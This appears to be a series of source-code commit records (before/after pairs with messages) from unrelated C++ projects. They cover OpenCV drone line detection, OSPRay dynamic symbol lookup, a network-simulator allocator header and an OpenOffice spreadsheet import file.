pt1.y = cvRound(y0 + 1000 * (a));\n pt2.x = cvRound(x0 - 1000 * (-b));\n pt2.y = cvRound(y0 - 1000 * (a));\n line(original_frame, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n }\n\n\/\/ imshow(\"line_window\", image);\n \/\/ resize(image, original_frame, Size(), 1 \/ scale_factor, 1 \/ scale_factor);\n \/\/ original_frame = image;\n}\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list) {\n Vec2f new_point;\n float angle_sum = 0;\n float rho_sum = 0;\n for (int j = 0; j < tmp_list.size(); ++j) {\n angle_sum += tmp_list[j][0];\n rho_sum += tmp_list[j][1];\n }\n angle_sum \/= tmp_list.size();\n rho_sum \/= tmp_list.size();\n\n new_point[0] = angle_sum;\n new_point[1] = rho_sum;\n\n condensed.push_back(new_point);\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image, 1);\n\n return;\n}\n<commit_msg>refactoring<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n#include \"..\/control.h\"\n\nusing namespace std;\nusing namespace cv;\n\nvoid detect_lines(Mat &original_frame, double scale_factor);\n\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list);\n\nvoid draw_lines(const Mat &image, const vector<Vec2f> &lines);\n\nvector<Vec2f> condense_lines(vector<Vec2f> &lines);\n\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCUnusedGlobalDeclarationInspection\"\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\/\/ no this is patric\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_1.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n\/\/ Mat edges;\n for (; ;) {\n Mat frame;\n cap >> frame; \/\/ get a new frame from camera\n\n detect_lines(frame, .2);\n\n\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n\n return;\n}\n\n#pragma clang diagnostic pop\n\nvoid detect_lines(Mat &original_frame, double scale_factor) {\n\n Mat hsv;\n Mat mask;\n Mat image;\n\n \/\/ resize(original_frame, image, Size(), scale_factor, scale_factor); \/\/Potentially scale down the frame\n\n cvtColor(original_frame, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n double minH = 50;\n double minS = 20;\n double minV = 150;\n double maxH = 125;\n double maxS = 100;\n double maxV = 255;\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n Canny(mask, mask, 50, 200, 3);\n\n vector<Vec2f> lines;\n HoughLines(mask, lines, 1, CV_PI \/ 180, 100, 0, 0);\n\/\/ HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 50, 10); \/\/ Find all lines in the image\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n\n\n \/\/Flipping any backwards lines\n vector<Vec2f> condensed = condense_lines(lines);\n\n \/\/ printf(\"Compressed down to %d lines\\n\", (int) condensed.size());\n\n\n\n draw_lines(original_frame, condensed);\n\n\n}\n\nvector<Vec2f> condense_lines(vector<Vec2f> lines) {\n vector<Vec2f> condensed;\n vector<Vec2f> tmp_list;\n for (int i = 0; i < lines.size(); i++) {\n if (lines[i][1] > CV_PI \/ 2) {\n lines[i][1] -= CV_PI;\n lines[i][0] *= -1;\n }\n else if (lines[i][1] < ((CV_PI \/ 2) * -1)) {\n lines[i][1] += CV_PI;\n lines[i][0] *= -1;\n }\n\n \/\/put in order of theta, rho\n swap(lines[i][0], lines[i][1]);\n }\n\n \/\/Order from least to greatest theta\n sort(lines.begin(), lines.end(),\n [](const Vec2f &a, const Vec2f &b) {\n return a[0] < b[0];\n });\n\n while (!lines.empty()) {\n Vec2f to_manipulate = lines.front();\n lines.erase(lines.begin());\n\n if (tmp_list.empty()) {\n tmp_list.push_back(to_manipulate);\n continue;\n } else {\n if (abs(to_manipulate[0] - tmp_list.front()[0]) < 20 * (CV_PI \/ 180.0)) {\n \/\/The angles are similar\n if (abs(to_manipulate[1] - tmp_list.front()[1]) < 50) {\n \/\/the distances are similar\n tmp_list.push_back(to_manipulate);\n continue;\n }\n } else {\n \/\/Need to clear out the tmp_list\n compress_lines(condensed, tmp_list);\n\n tmp_list.clear();\n tmp_list.push_back(to_manipulate);\n\n }\n }\n }\n if (!tmp_list.empty()) {\n compress_lines(condensed, tmp_list);\n }\n return condensed;\n}\n\nvoid draw_lines(const Mat &image, const vector<Vec2f> &lines) {\n for (size_t i = 0; i < lines.size(); i++) {\n float theta = lines[i][0], rho = lines[i][1];\n \/\/ float rho = lines[i][0], theta = lines[i][1];\n Point pt1, pt2;\n double a = cos(theta), b = sin(theta);\n double x0 = a * rho, y0 = b * rho;\n pt1.x = cvRound(x0 + 1000 * (-b));\n pt1.y = cvRound(y0 + 1000 * (a));\n pt2.x = cvRound(x0 - 1000 * (-b));\n pt2.y = cvRound(y0 - 1000 * (a));\n line(image, pt1, pt2, Scalar(0, 0, 255), 3, CV_AA);\n }\n}\n\nvoid compress_lines(vector<Vec2f> &condensed, const vector<Vec2f> &tmp_list) {\n Vec2f new_point;\n float angle_sum = 0;\n float rho_sum = 0;\n for (int j = 0; j < tmp_list.size(); ++j) {\n angle_sum += tmp_list[j][0];\n rho_sum += tmp_list[j][1];\n }\n angle_sum \/= tmp_list.size();\n rho_sum \/= tmp_list.size();\n\n new_point[0] = angle_sum;\n new_point[1] = rho_sum;\n\n condensed.push_back(new_point);\n}\n\nLineFollowing::LineFollowing(Control *control) {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n control_ptr = control;\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nvoid LineFollowing::fly() {\n\n control_ptr->velocities.vx = 0;\n control_ptr->velocities.vy = 0;\n control_ptr->velocities.vz = 0;\n control_ptr->velocities.vr = 0;\n\n detect_lines(control_ptr->image, 1);\n\n return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation \/\/\n\/\/ \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); \/\/\n\/\/ you may not use this file except in compliance with the License. \/\/\n\/\/ You may obtain a copy of the License at \/\/\n\/\/ \/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0 \/\/\n\/\/ \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and \/\/\n\/\/ limitations under the License. \/\/\n\/\/ ======================================================================== \/\/\n\n\/\/ ospray\n#include \"Library.h\"\n\/\/ std\n\n#ifdef _WIN32\n# define WIN32_LEAN_AND_MEAN\n# include <windows.h>\n#else\n# include <dlfcn.h>\n#endif\n\nnamespace ospray {\n\n std::vector<Library*> loadedLibs;\n\n void loadLibrary(const std::string &_name)\n {\n#ifdef OSPRAY_TARGET_MIC\n std::string name = _name+\"_mic\";\n#else\n std::string name = _name;\n#endif\n\n for (int i=0;i<loadedLibs.size();i++)\n if (loadedLibs[i]->name == name)\n \/\/ lib already loaded.\n return;\n\n Library *lib = new Library;\n lib->name = name;\n lib->lib = embree::openLibrary(name);\n if (lib->lib == NULL)\n throw std::runtime_error(\"could not open module lib \"+name);\n \n loadedLibs.push_back(lib);\n }\n void *getSymbol(const std::string &name)\n {\n for (int i=0;i<loadedLibs.size();i++) {\n void *sym = embree::getSymbol(loadedLibs[i]->lib, name);\n if (sym) return sym;\n }\n\n \/\/ if none found in the loaded libs, try the default lib ...\n#ifdef _WIN32\n void *sym = GetProcAddress(GetModuleHandle(0), name.c_str());\n#else\n void *sym = dlsym(RTLD_DEFAULT,name.c_str());\n#endif\n return sym;\n }\n\n} \/\/ ::ospray\n<commit_msg>Also search in ospray.dll for symbols<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation \/\/\n\/\/ \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\"); \/\/\n\/\/ you may not use this file except in compliance with the License. \/\/\n\/\/ You may obtain a copy of the License at \/\/\n\/\/ \/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0 \/\/\n\/\/ \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS, \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and \/\/\n\/\/ limitations under the License. \/\/\n\/\/ ======================================================================== \/\/\n\n\/\/ ospray\n#include \"Library.h\"\n\/\/ std\n\n#ifdef _WIN32\n# define WIN32_LEAN_AND_MEAN\n# include <windows.h>\n#else\n# include <dlfcn.h>\n#endif\n\nnamespace ospray {\n\n std::vector<Library*> loadedLibs;\n\n void loadLibrary(const std::string &_name)\n {\n#ifdef OSPRAY_TARGET_MIC\n std::string name = _name+\"_mic\";\n#else\n std::string name = _name;\n#endif\n\n for (int i=0;i<loadedLibs.size();i++)\n if (loadedLibs[i]->name == name)\n \/\/ lib already loaded.\n return;\n\n Library *lib = new Library;\n lib->name = name;\n lib->lib = embree::openLibrary(name);\n if (lib->lib == NULL)\n throw std::runtime_error(\"could not open module lib \"+name);\n \n loadedLibs.push_back(lib);\n }\n void *getSymbol(const std::string &name)\n {\n for (int i=0;i<loadedLibs.size();i++) {\n void *sym = embree::getSymbol(loadedLibs[i]->lib, name);\n if (sym) return sym;\n }\n\n \/\/ if none found in the loaded libs, try the default lib ...\n#ifdef _WIN32\n void *sym = GetProcAddress(GetModuleHandle(0), name.c_str()); \/\/ look in exe (i.e. when linked statically)\n if (!sym) {\n MEMORY_BASIC_INFORMATION mbi;\n VirtualQuery(getSymbol, &mbi, sizeof(mbi)); \/\/ get handle to current dll via a known function\n sym = GetProcAddress((HINSTANCE)(mbi.AllocationBase), name.c_str()); \/\/ look in ospray.dll (i.e. when linked dynamically)\n }\n#else\n void *sym = dlsym(RTLD_DEFAULT,name.c_str());\n#endif\n return sym;\n }\n\n} \/\/ ::ospray\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n line_main();\n\n return ControlMovements();\n}\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n namedWindow(\"edges\", CV_WINDOW_NORMAL);\n Mat edges;\n for (; ;) {\n Mat frame, mask;\n cap >> frame; \/\/ get a new frame from camera\n cvtColor(frame, edges, CV_BGR2HSV);\n\n Scalar low, high;\n low = Scalar(30, 0, 240);\n high = Scalar(80, 70, 255);\n\n\n inRange(frame, low, high, mask);\n\n vector <Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180, 100, 100, 10);\n\n for (size_t i = 0; i < lines.size(); i++) {\n cout << \"adding a line\\n\";\n Vec4i l = lines[i];\n line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n }\n\n\n imshow(\"edges\", frame);\n if (waitKey(30) >= 0) break;\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n return;\n}\n<commit_msg>first attempt at lines<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n line_main();\n\n return ControlMovements();\n}\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n namedWindow(\"edges\", CV_WINDOW_NORMAL);\n Mat edges;\n for (; ;) {\n Mat frame, mask;\n cap >> frame; \/\/ get a new frame from camera\n cvtColor(frame, edges, CV_BGR2HSV);\n\n Scalar low, high;\n low = Scalar(30, 0, 240);\n high = Scalar(80, 70, 255);\n\n\n inRange(frame, low, high, mask);\n\n vector <Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180, 100, 100, 10);\n\n for (size_t i = 0; i < lines.size(); i++) {\n cout << \"adding a line\\n\";\n Vec4i l = lines[i];\n line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n }\n\n\n imshow(\"edges\", mask);\n if (waitKey(30) >= 0) break;\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id$\n\n\/*\nCopyright (c) 2007-2009, Trustees of The Leland Stanford Junior University\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this \nlist of conditions and the following disclaimer in the documentation and\/or \nother materials provided with the distribution.\nNeither the name of the Stanford University nor the names of its contributors \nmay be used to endorse or promote products derived from this software without \nspecific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND \nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR \nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON \nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS \nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/\/ ----------------------------------------------------------------------\n\/\/\n\/\/ SeparableAllocator: Separable Allocator\n\/\/\n\/\/ ----------------------------------------------------------------------\n\n#ifndef _SEPARABLE_HPP_\n#define _SEPARABLE_HPP_\n\n#include \"allocator.hpp\"\n#include \"arbiter.hpp\"\n#include <cassert>\n\n#include <vector>\n\nclass SeparableAllocator : public Allocator {\n \nprotected:\n\n vector<int> _matched ;\n\n vector<Arbiter*> _input_arb ;\n vector<Arbiter*> _output_arb ;\n\n vector<vector<sRequest> > _requests ;\n\npublic:\n \n SeparableAllocator( Module* parent, const string& name, int inputs,\n\t\t int outputs, const string& arb_type ) ;\n \n virtual ~SeparableAllocator() ;\n\n \/\/\n \/\/ Allocator Interface\n \/\/\n virtual void Clear() ;\n virtual int ReadRequest( int in, int out ) const ;\n virtual bool ReadRequest( sRequest& req, int in, int out ) const ;\n virtual void AddRequest( int in, int out, int label = 1, \n\t\t\t int in_pri = 0, int out_pri = 0 ) ;\n virtual void RemoveRequest( int in, int out, int label = 1 ) ;\n virtual void Allocate() = 0 ;\n virtual void PrintRequests( ostream * os = NULL ) const ;\n\n} ;\n\n#endif\n<commit_msg>remove unused member variable<commit_after>\/\/ $Id$\n\n\/*\nCopyright (c) 2007-2009, Trustees of The Leland Stanford Junior University\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\nRedistributions of source code must retain the above copyright notice, this list\nof conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this \nlist of conditions and the following disclaimer in the documentation and\/or \nother materials provided with the distribution.\nNeither the name of the Stanford University nor the names of its contributors \nmay be used to endorse or promote products derived from this software without \nspecific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND \nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR \nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON \nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS \nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n\/\/ ----------------------------------------------------------------------\n\/\/\n\/\/ SeparableAllocator: Separable Allocator\n\/\/\n\/\/ ----------------------------------------------------------------------\n\n#ifndef _SEPARABLE_HPP_\n#define _SEPARABLE_HPP_\n\n#include \"allocator.hpp\"\n#include \"arbiter.hpp\"\n#include <cassert>\n\n#include <vector>\n\nclass SeparableAllocator : public Allocator {\n \nprotected:\n\n vector<Arbiter*> _input_arb ;\n vector<Arbiter*> _output_arb ;\n\n vector<vector<sRequest> > _requests ;\n\npublic:\n \n SeparableAllocator( Module* parent, const string& name, int inputs,\n\t\t int outputs, const string& arb_type ) ;\n \n virtual ~SeparableAllocator() ;\n\n \/\/\n \/\/ Allocator Interface\n \/\/\n virtual void Clear() ;\n virtual int ReadRequest( int in, int out ) const ;\n virtual bool ReadRequest( sRequest& req, int in, int out ) const ;\n virtual void AddRequest( int in, int out, int label = 1, \n\t\t\t int in_pri = 0, int out_pri = 0 ) ;\n virtual void RemoveRequest( int in, int out, int label = 1 ) ;\n virtual void Allocate() = 0 ;\n virtual void PrintRequests( ostream * os = NULL ) const ;\n\n} ;\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: colrowst.cxx,v $\n *\n * $Revision: 1.26 $\n *\n * last change: $Author: vg $ $Date: 2005-02-21 13:22:30 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifdef PCH\n#include \"filt_pch.hxx\"\n#endif\n\n\n#pragma hdrstop\n\n#include \"colrowst.hxx\"\n\n#include <string.h>\n\n#include \"document.hxx\"\n#include \"root.hxx\"\n\n#ifndef SC_FTOOLS_HXX\n#include \"ftools.hxx\"\n#endif\n#ifndef SC_XLTABLE_HXX\n#include \"xltable.hxx\"\n#endif\n#ifndef SC_XISTREAM_HXX\n#include \"xistream.hxx\"\n#endif\n#ifndef SC_XISTYLE_HXX\n#include \"xistyle.hxx\"\n#endif\n\n\/\/ for filter manager\n#include \"excimp8.hxx\"\n\n\nColRowSettings::ColRowSettings( RootData& rRootData ) :\n ExcRoot( &rRootData )\n{\n nDefWidth = nDefHeight = 0;\n\n pWidth = new INT32 [ MAXCOL + 1 ];\n pColHidden = new BOOL [ MAXCOL + 1 ];\n\n pHeight = new UINT16 [ MAXROW + 1 ];\n pRowFlags = new INT8[ MAXROW + 1 ];\n\n Reset();\n}\n\n\nColRowSettings::~ColRowSettings()\n{\n delete[] pRowFlags;\n delete[] pHeight;\n delete[] pColHidden;\n delete[] pWidth;\n}\n\n\nvoid ColRowSettings::Reset( void )\n{\n SCCOL nC;\n for( nC = 0 ; nC <= MAXCOL ; nC++ )\n {\n pColHidden[ nC ] = FALSE;\n pWidth[ nC ] = -1;\n }\n\n memset( pRowFlags, 0x00, sizeof( INT8 ) * ( MAXROW + 1 ) );\n\n bDirty = TRUE;\n nMaxRow = -1;\n\n bSetByStandard = FALSE;\n}\n\n\nvoid ColRowSettings::Apply( SCTAB nScTab )\n{\n if( !bDirty )\n return;\n\n SCCOLROW nC;\n SCROW nStart = 0;\n UINT16 nWidth;\n UINT16 nLastWidth = ( pWidth[ 0 ] >= 0 )? ( UINT16 ) pWidth[ 0 ] : nDefWidth;\n ScDocument& rD = pExcRoot->pIR->GetDoc();\n\n rD.IncSizeRecalcLevel( nScTab );\n\n \/\/ Column-Bemachung\n for( nC = 0 ; nC <= MAXCOL ; nC++ )\n {\n if( pWidth[ nC ] >= 0 )\n \/\/ eingestellte Width\n nWidth = ( UINT16 ) pWidth[ nC ];\n else\n \/\/ Default-Width\n nWidth = nDefWidth;\n\n if( nWidth == 0 )\n {\n pColHidden[ nC ] = TRUE;\n \/\/ Column hidden: remember original column width and set width 0.\n \/\/ Needed for #i11776#, no HIDDEN flags in the document, until\n \/\/ filters and outlines are inserted.\n pWidth[ nC ] = rD.GetColWidth( static_cast<SCCOL>( nC ), nScTab );\n }\n rD.SetColWidth( static_cast<SCCOL>( nC ), nScTab, nWidth );\n }\n\n \/\/ Row-Bemachung\n\n INT8 nFlags;\n nStart = 0;\n UINT16 nHeight;\n\n UINT16 nLastHeight;\n nFlags = pRowFlags[ 0 ];\n if( nFlags & ROWFLAG_USED )\n {\n if( nFlags & ROWFLAG_DEFAULT )\n nLastHeight = nDefHeight;\n else\n {\n nLastHeight = pHeight[ 0 ];\n if( !nLastHeight )\n nLastHeight = nDefHeight;\n }\n }\n else\n nLastHeight = nDefHeight;\n\n for( nC = 0 ; nC <= nMaxRow ; nC++ )\n {\n nFlags = pRowFlags[ nC ];\n\n if( nFlags & ROWFLAG_USED )\n {\n if( nFlags & ROWFLAG_DEFAULT )\n nHeight = nDefHeight;\n else\n {\n nHeight = pHeight[ nC ];\n if( !nHeight )\n nHeight = nDefHeight;\n }\n\n if( nFlags & ( ROWFLAG_HIDDEN | ROWFLAG_MAN ) )\n {\n BYTE nSCFlags = rD.GetRowFlags( nC , nScTab );\n\n if( nFlags & ROWFLAG_MAN )\n nSCFlags |= CR_MANUALSIZE;\n\n rD.SetRowFlags( nC, nScTab, nSCFlags );\n }\n }\n else\n nHeight = nDefHeight;\n\n if( !nHeight )\n {\n pRowFlags[ nC ] |= ROWFLAG_HIDDEN;\n \/\/ Row hidden: remember original row height and set height 0.\n \/\/ Needed for #i11776#, no HIDDEN flags in the document, until\n \/\/ filters and outlines are inserted.\n pHeight[ nC ] = rD.GetRowHeight( nC, nScTab );\n }\n\n if( nLastHeight != nHeight )\n {\n DBG_ASSERT( nC > 0, \"ColRowSettings::Apply(): Algorithmus-Fehler!\" );\n\n if( nLastHeight )\n rD.SetRowHeightRange( nStart, nC - 1, nScTab, nLastHeight );\n\n nStart = nC;\n nLastHeight = nHeight;\n }\n }\n\n if( nLastHeight && nMaxRow >= 0 )\n rD.SetRowHeightRange( nStart, static_cast<SCROW>( nMaxRow ), nScTab, nLastHeight );\n\n bDirty = FALSE; \/\/ jetzt stimmt Tabelle im ScDocument\n\n rD.DecSizeRecalcLevel( nScTab );\n}\n\n\nvoid ColRowSettings::SetHiddenFlags( SCTAB nScTab )\n{\n ScDocument& rDoc = pExcRoot->pIR->GetDoc();\n\n for( SCCOL nScCol = 0; nScCol <= MAXCOL; ++nScCol )\n {\n if( pColHidden[ nScCol ] )\n {\n \/\/ set original width, needed to unhide the column\n if( pWidth[ nScCol ] > 0 )\n rDoc.SetColWidth( nScCol, nScTab, static_cast< sal_uInt16 >( pWidth[ nScCol ] ) );\n \/\/ really hide the column\n rDoc.ShowCol( nScCol, nScTab, FALSE );\n }\n }\n\n \/\/ #i38093# rows hidden by filter need extra flag\n SCROW nFirstFilterScRow = SCROW_MAX;\n SCROW nLastFilterScRow = SCROW_MAX;\n if( pExcRoot->pIR->GetBiff() == EXC_BIFF8 )\n {\n const XclImpAutoFilterData* pFilter = pExcRoot->pIR->GetFilterManager().GetByTab( nScTab );\n if( pFilter && pFilter->IsActive() )\n {\n nFirstFilterScRow = pFilter->StartRow();\n nLastFilterScRow = pFilter->EndRow();\n }\n }\n\n for( SCROW nScRow = 0; nScRow <= nMaxRow; ++nScRow )\n {\n if( pRowFlags[ nScRow ] & ROWFLAG_HIDDEN )\n {\n \/\/ set original height, needed to unhide the row\n if( pHeight[ nScRow ] > 0 )\n rDoc.SetRowHeight( nScRow, nScTab, pHeight[ nScRow ] );\n \/\/ really hide the row\n rDoc.ShowRow( nScRow, nScTab, FALSE );\n \/\/ #i38093# rows hidden by filter need extra flag\n if( (nFirstFilterScRow <= nScRow) && (nScRow <= nLastFilterScRow) )\n rDoc.SetRowFlags( nScRow, nScTab, rDoc.GetRowFlags( nScRow, nScTab ) | CR_FILTERED );\n }\n }\n}\n\n\nvoid ColRowSettings::HideColRange( SCCOL nColFirst, SCCOL nColLast )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+ColRowSettings::HideColRange(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+ColRowSettings::HideColRange(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n BOOL* pHidden;\n BOOL* pFinish;\n pHidden = &pColHidden[ nColFirst ];\n pFinish = &pColHidden[ nColLast ];\n while( pHidden <= pFinish )\n *( pHidden++ ) = TRUE;\n}\n\n\nvoid ColRowSettings::SetWidthRange( SCCOL nColFirst, SCCOL nColLast, UINT16 nNew )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+ColRowSettings::SetColWidthRange(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+ColRowSettings::SetColWidthRange(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n INT32* pWidthCount;\n INT32* pFinish;\n pWidthCount = &pWidth[ nColFirst ];\n pFinish = &pWidth[ nColLast ];\n\n while( pWidthCount <= pFinish )\n *( pWidthCount++ ) = nNew;\n}\n\n\nvoid ColRowSettings::SetDefaultXF( SCCOL nColFirst, SCCOL nColLast, UINT16 nXF )\n{\n DBG_ASSERT( nColFirst <= nColLast, \"+ColRowSettings::SetDefaultXF(): First > Last?!\" );\n DBG_ASSERT( ValidCol(nColLast), \"+ColRowSettings::SetDefaultXF(): ungueltige Column\" );\n\n if( !ValidCol(nColLast) )\n nColLast = MAXCOL;\n\n const XclImpRoot& rRoot = *pExcRoot->pIR;\n\n \/\/ #109555# assign the default column formatting here to ensure\n \/\/ that explicit cell formatting is not overwritten.\n for( SCCOL nScCol = nColFirst; nScCol <= nColLast; ++nScCol )\n rRoot.GetXFRangeBuffer().SetColumnDefXF( nScCol, nXF );\n}\n\n\nvoid ColRowSettings::SetDefaults( UINT16 nWidth, UINT16 nHeight )\n{\n nDefWidth = nWidth;\n nDefHeight = nHeight;\n}\n\n\nvoid ColRowSettings::_SetRowSettings( const SCROW nRow, const UINT16 nExcelHeight, const UINT16 nGrbit )\n{\n pHeight[ nRow ] = nExcelHeight & 0x7FFF;\n\n INT8 nFlags = ROWFLAG_USED;\n\n if( nExcelHeight & 0x8000 )\n nFlags |= ROWFLAG_DEFAULT;\n\n if( nGrbit & EXC_ROW_UNSYNCED )\n nFlags |= ROWFLAG_MAN;\n\n if( nGrbit & EXC_ROW_HIDDEN )\n nFlags |= ROWFLAG_HIDDEN;\n\n pRowFlags[ nRow ] = nFlags;\n\n if( nRow > nMaxRow )\n nMaxRow = nRow;\n}\n\n<commit_msg>INTEGRATION: CWS 